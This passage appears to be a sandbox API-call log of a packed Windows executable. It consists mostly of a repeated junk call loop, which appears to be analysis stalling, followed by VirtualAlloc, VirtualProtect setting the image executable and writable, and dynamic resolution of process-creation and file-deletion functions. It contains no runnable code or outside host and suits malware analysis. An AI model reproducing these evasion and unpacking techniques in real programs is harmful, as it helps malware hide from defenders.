(hChangeHandle=0x0) returned 0 [0053.708] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.708] AddAtomA (lpString=0x0) returned 0x0 [0053.708] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.708] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.708] AddAtomA (lpString=0x0) returned 0x0 [0053.708] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.708] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.708] AddAtomA (lpString=0x0) returned 0x0 [0053.708] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.708] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.708] AddAtomA (lpString=0x0) returned 0x0 [0053.708] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.708] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.708] AddAtomA (lpString=0x0) returned 0x0 [0053.708] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.708] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.708] AddAtomA (lpString=0x0) returned 0x0 [0053.708] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.708] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.708] AddAtomA (lpString=0x0) returned 0x0 [0053.708] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.708] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.709] AddAtomA (lpString=0x0) returned 0x0 [0053.709] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.709] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.709] AddAtomA (lpString=0x0) returned 0x0 [0053.709] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.709] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.709] AddAtomA (lpString=0x0) returned 0x0 [0053.709] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.709] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.709] AddAtomA (lpString=0x0) returned 0x0 [0053.709] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.709] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.709] AddAtomA (lpString=0x0) returned 0x0 [0053.709] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.709] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.709] AddAtomA (lpString=0x0) returned 0x0 [0053.709] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.709] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.709] AddAtomA (lpString=0x0) returned 0x0 [0053.709] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.709] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.709] AddAtomA (lpString=0x0) returned 0x0 [0053.709] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.709] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.709] AddAtomA (lpString=0x0) returned 0x0 [0053.709] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.709] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.709] AddAtomA (lpString=0x0) returned 0x0 [0053.709] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.709] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.709] AddAtomA (lpString=0x0) returned 0x0 [0053.709] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.710] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.710] AddAtomA (lpString=0x0) returned 0x0 [0053.710] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.710] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.710] AddAtomA (lpString=0x0) returned 0x0 [0053.710] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.710] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.710] AddAtomA (lpString=0x0) returned 0x0 [0053.710] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.710] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.710] AddAtomA (lpString=0x0) returned 0x0 [0053.710] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.710] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.710] AddAtomA (lpString=0x0) returned 0x0 [0053.710] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.710] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.710] AddAtomA (lpString=0x0) returned 0x0 [0053.710] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.710] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.710] AddAtomA (lpString=0x0) returned 0x0 [0053.710] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.710] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.710] AddAtomA (lpString=0x0) returned 0x0 [0053.710] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.710] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.710] AddAtomA (lpString=0x0) returned 0x0 [0053.710] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.710] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.710] AddAtomA (lpString=0x0) returned 0x0 [0053.710] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.710] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.711] AddAtomA (lpString=0x0) returned 0x0 [0053.711] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.711] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.711] AddAtomA (lpString=0x0) returned 0x0 [0053.711] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.711] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.711] AddAtomA (lpString=0x0) returned 0x0 [0053.711] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.711] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.711] AddAtomA (lpString=0x0) returned 0x0 [0053.711] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.711] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.711] AddAtomA (lpString=0x0) returned 0x0 [0053.711] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.711] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.711] AddAtomA (lpString=0x0) returned 0x0 [0053.711] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.711] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.711] AddAtomA (lpString=0x0) returned 0x0 [0053.711] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.711] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.711] AddAtomA (lpString=0x0) returned 0x0 [0053.711] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.711] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.711] AddAtomA (lpString=0x0) returned 0x0 [0053.711] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.711] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.711] AddAtomA (lpString=0x0) returned 0x0 [0053.711] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.711] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.711] AddAtomA (lpString=0x0) returned 0x0 [0053.711] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.711] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.712] AddAtomA (lpString=0x0) returned 0x0 [0053.712] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.712] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.712] AddAtomA (lpString=0x0) returned 0x0 [0053.712] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.712] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.712] AddAtomA (lpString=0x0) returned 0x0 [0053.712] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.712] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.712] AddAtomA (lpString=0x0) returned 0x0 [0053.712] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.712] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.712] AddAtomA (lpString=0x0) returned 0x0 [0053.712] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.712] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.712] AddAtomA (lpString=0x0) returned 0x0 [0053.712] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.712] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.712] AddAtomA (lpString=0x0) returned 0x0 [0053.712] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.712] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.712] AddAtomA (lpString=0x0) returned 0x0 [0053.712] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.712] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.712] AddAtomA (lpString=0x0) returned 0x0 [0053.712] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.712] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.712] AddAtomA (lpString=0x0) returned 0x0 [0053.712] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.712] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.712] AddAtomA (lpString=0x0) returned 0x0 [0053.712] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.712] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.713] AddAtomA (lpString=0x0) returned 0x0 [0053.713] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.713] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.713] AddAtomA (lpString=0x0) returned 0x0 [0053.713] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.713] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.713] AddAtomA (lpString=0x0) returned 0x0 [0053.713] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.713] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.713] AddAtomA (lpString=0x0) returned 0x0 [0053.713] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.713] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.713] AddAtomA (lpString=0x0) returned 0x0 [0053.713] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.713] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.713] AddAtomA (lpString=0x0) returned 0x0 [0053.713] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.713] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.713] AddAtomA (lpString=0x0) returned 0x0 [0053.713] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.713] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.713] AddAtomA (lpString=0x0) returned 0x0 [0053.713] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.713] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.713] AddAtomA (lpString=0x0) returned 0x0 [0053.713] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.713] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.713] AddAtomA (lpString=0x0) returned 0x0 [0053.713] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.713] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.713] AddAtomA (lpString=0x0) returned 0x0 [0053.714] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.714] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.714] AddAtomA (lpString=0x0) returned 0x0 [0053.714] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.714] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.714] AddAtomA (lpString=0x0) returned 0x0 [0053.714] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.714] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.714] AddAtomA (lpString=0x0) returned 0x0 [0053.714] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.714] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.714] AddAtomA (lpString=0x0) returned 0x0 [0053.714] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.714] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.714] AddAtomA (lpString=0x0) returned 0x0 [0053.714] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.714] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.714] AddAtomA (lpString=0x0) returned 0x0 [0053.714] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.714] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.714] AddAtomA (lpString=0x0) returned 0x0 [0053.714] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.714] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.714] AddAtomA (lpString=0x0) returned 0x0 [0053.714] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.714] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.714] AddAtomA (lpString=0x0) returned 0x0 [0053.714] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.714] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.714] AddAtomA (lpString=0x0) returned 0x0 [0053.714] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.714] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.714] AddAtomA (lpString=0x0) returned 0x0 [0053.715] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.715] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.715] AddAtomA (lpString=0x0) returned 0x0 [0053.715] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.715] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.715] AddAtomA (lpString=0x0) returned 0x0 [0053.715] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.715] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.715] AddAtomA (lpString=0x0) returned 0x0 [0053.715] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.715] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.715] AddAtomA (lpString=0x0) returned 0x0 [0053.715] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.715] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.715] AddAtomA (lpString=0x0) returned 0x0 [0053.715] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.715] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.715] AddAtomA (lpString=0x0) returned 0x0 [0053.715] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.715] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.715] AddAtomA (lpString=0x0) returned 0x0 [0053.715] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.715] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.715] AddAtomA (lpString=0x0) returned 0x0 [0053.715] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.715] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.715] AddAtomA (lpString=0x0) returned 0x0 [0053.715] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.715] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.715] AddAtomA (lpString=0x0) returned 0x0 [0053.715] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.715] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.715] AddAtomA (lpString=0x0) returned 0x0 [0053.716] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.716] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.716] AddAtomA (lpString=0x0) returned 0x0 [0053.716] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.716] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.716] AddAtomA (lpString=0x0) returned 0x0 [0053.716] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.716] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.716] AddAtomA (lpString=0x0) returned 0x0 [0053.716] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.716] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.716] AddAtomA (lpString=0x0) returned 0x0 [0053.716] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.716] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.716] AddAtomA (lpString=0x0) returned 0x0 [0053.716] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.716] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.716] AddAtomA (lpString=0x0) returned 0x0 [0053.716] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.716] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.716] AddAtomA (lpString=0x0) returned 0x0 [0053.716] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.716] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.716] AddAtomA (lpString=0x0) returned 0x0 [0053.716] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.716] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.716] AddAtomA (lpString=0x0) returned 0x0 [0053.716] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.716] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.716] AddAtomA (lpString=0x0) returned 0x0 [0053.716] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.716] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.716] AddAtomA (lpString=0x0) returned 0x0 [0053.717] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.717] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.717] AddAtomA (lpString=0x0) returned 0x0 [0053.717] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.717] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.717] AddAtomA (lpString=0x0) returned 0x0 [0053.717] FindCloseChangeNotification (hChangeHandle=0x0) returned 0 [0053.717] GetCurrentDirectoryA (in: nBufferLength=0x0, lpBuffer=0x4240e8 | out: lpBuffer="Module32FirstW") returned 0x26 [0053.735] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76c20000 [0053.735] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualAlloc") returned 0x76c31856 [0053.735] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualProtect") returned 0x76c3435f [0053.735] GetProcAddress (hModule=0x76c20000, lpProcName="VirtualFree") returned 0x76c3186e [0053.736] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersionExA") returned 0x76c33519 [0053.736] GetProcAddress (hModule=0x76c20000, lpProcName="TerminateProcess") returned 0x76c4d802 [0053.736] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0053.736] GetProcAddress (hModule=0x76c20000, lpProcName="SetErrorMode") returned 0x76c31b00 [0053.736] SetErrorMode (uMode=0x400) returned 0x0 [0053.736] SetErrorMode (uMode=0x0) returned 0x400 [0053.736] GetVersionExA (in: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x65006564, dwMinorVersion=0x7373, dwBuildNumber=0x2, dwPlatformId=0xffffffff, szCSDVersion="s}\x16w") | out: lpVersionInformation=0x18e550*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0053.736] VirtualAlloc (lpAddress=0x0, dwSize=0x2d200, flAllocationType=0x1000, flProtect=0x4) returned 0x210000 [0053.739] VirtualProtect (in: lpAddress=0x400000, dwSize=0x32000, flNewProtect=0x40, lpflOldProtect=0x18f5d8 | out: lpflOldProtect=0x18f5d8*=0x2) returned 1 [0053.767] VirtualFree (lpAddress=0x210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0053.768] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileA") returned 0x76c353c6 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="WriteFile") returned 0x76c31282 [0053.768] GetProcAddress (hModule=0x76c20000, lpProcName="FlushFileBuffers") returned 0x76c3469b [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="CloseHandle") returned 0x76c31410 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessA") returned 0x76c31072 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="lstrcpyW") returned 0x76c53102 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="CreateProcessW") returned 0x76c3103d [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForSingleObject") returned 0x76c31136 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="lstrlenA") returned 0x76c35a4b [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="WideCharToMultiByte") returned 0x76c3170d [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="MultiByteToWideChar") returned 0x76c3192e [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="GetCommandLineW") returned 0x76c35223 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="SetFilePointerEx") returned 0x76c4c807 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0053.769] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteFileA") returned 0x76c35444 [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0053.770] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0053.770] GetProcAddress 